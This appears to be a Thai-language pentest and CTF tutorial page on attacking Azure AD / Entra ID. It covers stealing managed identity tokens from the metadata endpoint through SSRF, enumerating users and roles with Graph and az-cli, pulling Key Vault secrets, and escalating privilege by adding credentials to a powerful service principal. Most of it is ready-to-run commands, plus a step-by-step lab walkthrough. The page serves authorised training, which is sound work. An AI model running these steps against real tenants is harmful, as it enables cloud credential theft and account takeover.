Azure AD / Entra ID Attacks
Azure AD (Entra ID) Attacks ครอบคลุมการโจมตี identity บน Azure: managed identity abuse (ดึง token จาก IMDS), service principal/app registration abuse, role assignment privesc, การ enumerate directory ผ่าน Graph API, และ consent/OAuth phishing บทนี้มีคำสั่งครบ + lab + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ
Azure ใช้ Entra ID (เดิม Azure AD) จัดการ identity ต่างจาก AWS (ที่ใช้ IAM) แนวคิดหลัก: managed identity (resource มีตัวตนเองโดยไม่ต้องเก็บ cred), service principal (app identity), role assignment (RBAC) จุดโจมตี: ดึง token จาก managed identity, abuse service principal, role privesc
2. Managed Identity Token Theft
ถ้าอยู่บน Azure VM/App Service ที่มี managed identity → ดึง access token จาก IMDS (คล้าย AWS แต่ endpoint ต่าง) มักผ่าน SSRF บนเว็บที่รันบน Azure
# ดึง access token สำหรับ Azure Resource Manager
curl -s -H Metadata:true \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
# token สำหรับ Graph API (enumerate directory)
curl -s -H Metadata:true \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/'
# token สำหรับ Key Vault (ดึง secret)
curl -s -H Metadata:true \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'TOKEN=<access_token>
# list subscriptions
curl -s -H "Authorization: Bearer $TOKEN" \
'https://management.azure.com/subscriptions?api-version=2020-01-01'
# Graph: ดู user/group/role
curl -s -H "Authorization: Bearer $TOKEN" \
'https://graph.microsoft.com/v1.0/users'
# หรือ login az ด้วย identity
az login --identity
az account show3. Directory Enumeration
# users, groups, roles
az ad user list --query '[].{name:displayName,upn:userPrincipalName}'
az ad group list
az role assignment list --all
# service principals / app registrations
az ad sp list --all
az ad app list
# AzureHound (BloodHound for Azure) — หา attack path
azurehound -u user@tenant -p pass list --tenant <id> -o output.json
# import เข้า BloodHound → ดู privesc path4. Privilege Escalation
| ช่อง | วิธี |
|---|---|
| Service principal credential | เพิ่ม secret/cert ให้ SP สิทธิ์สูง แล้ว auth เป็น SP นั้น |
| App role assignment | ถ้าควบคุม app ที่มี Graph permission สูง |
| Owner ของ SP/App | เพิ่ม credential → impersonate |
| Role: User Access Admin | assign role ให้ตัวเอง |
| Managed identity ที่กว้าง | ดึง token → ใช้สิทธิ์ resource |
# ถ้ามีสิทธิ์เพิ่ม credential ให้ SP สิทธิ์สูง
az ad app credential reset --id <app-id> --append
# ได้ secret ใหม่ → login เป็น SP
az login --service-principal -u <app-id> -p <secret> --tenant <tenant>5. Lab Walkthrough
- 1SSRF บนเว็บที่รันบน Azure App Service → ยิง IMDS ดึง managed identity token
- 2ใช้ token เรียก Graph:
curl -H 'Authorization: Bearer $TOKEN' graph.microsoft.com/v1.0/users→ enumerate - 3token สำหรับ Key Vault → ดึง secret:
vault.azure.net/secrets/... - 4AzureHound → import BloodHound → หา path ไป Global Admin
- 5ถ้าคุม SP ได้: เพิ่ม credential → auth เป็น SP สิทธิ์สูง
- 6flag มักอยู่: Key Vault secret, storage account, หรือ resource ที่ identity เข้าถึง
6. Troubleshooting
| อาการ | สาเหตุ / แก้ |
|---|---|
| IMDS ไม่ตอบ | ต้องมี header Metadata:true; resource ต้องตรง |
| token ใช้กับ Graph ไม่ได้ | ขอ token ผิด resource — ขอ resource=graph.microsoft.com |
| az login --identity fail | VM ไม่มี managed identity — ลอง user-assigned (--username) |
| Graph: Authorization_RequestDenied | identity ไม่มี Graph permission — ลอง ARM แทน |
| token หมดอายุ | ขอใหม่จาก IMDS (token อายุ ~1 ชม.) |
7. Indicators & Quick Reference
169.254.169.254/metadata/identity (header Metadata:true), .azurewebsites.net, Key Vault reference- AWS ใช้ IAM, Azure ใช้ Entra ID (Azure AD) — แนวคิดต่างกัน
- managed identity token: IMDS + Metadata:true header (ต่างจาก AWS)
- AzureHound = BloodHound for Azure (หา attack path)
- Key Vault = ที่เก็บ secret (ดึงด้วย token ถ้า identity มีสิทธิ์)
- เครื่องมือ: az-cli, ROADtools (recon), MicroBurst (PowerShell)
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งเจอโจทย์นี้: อาจมี username/password ของบัญชี Azure AD (Entra ID), หรือเจอ SSRF บนเว็บที่รันบน Azure App Service/VM มีแค่เครื่อง Kali เปล่า ๆ ทำตามนี้ทีละขั้น
- 1ติดตั้ง az cli ถ้ายังไม่มี:
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bashแล้วเช็คด้วยaz --version - 2ถ้ามี username/password:
az login -u [email protected] -p '<password>' - 3ถ้ามี SSRF บนเว็บที่รันบน Azure: ยิง IMDS ดึง managed identity token —
curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' - 4ใช้ token ตรวจว่าเป็นใคร/มีสิทธิ์อะไร:
curl -H "Authorization: Bearer $TOKEN" 'https://management.azure.com/subscriptions?api-version=2020-01-01' - 5ติดตั้ง ROADtools แล้ว recon เต็ม:
pip install roadreconจากนั้นroadrecon auth -u user@tenant -p passwordแล้วroadrecon gather - 6ติดตั้ง AzureHound (BloodHound for Azure): ดาวน์โหลด binary จาก release แล้วรัน
azurehound -u user@tenant -p password list --tenant <tenant-id> -o output.json - 7เปิด neo4j + BloodHound แล้ว import
output.jsonเข้าไปเพื่อดูกราฟ attack path - 8เช็ค role assignment ด้วยมือคู่กัน:
az role assignment list --allและaz ad sp list --all - 9ถ้า BloodHound/manual enum ชี้ว่าคุม service principal สิทธิ์สูงได้ ให้เพิ่ม credential:
az ad app credential reset --id <app-id> --append - 10login เป็น SP นั้น:
az login --service-principal -u <app-id> -p <secret> --tenant <tenant>แล้วหา flag ใน Key Vault/Storage
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| login/เรียก Azure API (user/SP) | az-cli | curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash | - |
| recon directory เต็มรูปแบบ (offline query) | - | ROADtools (pip install roadrecon) | - |
| หา attack path แบบกราฟ (BloodHound for Azure) | - | AzureHound + BloodHound/neo4j | - |
| PowerShell recon/abuse module | - | MicroBurst (git clone) | - |
| ยิง IMDS ดึง managed identity token | curl | - | - |
| decode JWT token ที่ได้จาก Graph/ARM | - | - | jwt.io |
| สแกน misconfig Azure subscription ทั้งหมด | - | ScoutSuite (--provider azure) | - |
| อ้างอิง technique Azure AD เพิ่มเติม | - | - | hackingthe.cloud |
aws-iam-privesc ถ้า tenant นี้เชื่อมต่อกับ AWS account (federation/SSO), ลอง gcp-attacks ถ้าโจทย์เป็น multi-cloud, ลอง kubernetes-attacks ถ้า managed identity นี้ผูกกับ pod บน AKS (workload identity), ถ้าไม่มีทางดึง IMDS token เลยตั้งแต่แรก ลองกลับไปที่ ssrf เพื่อหาช่องโหว่ที่ยิง metadata endpoint ได้หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้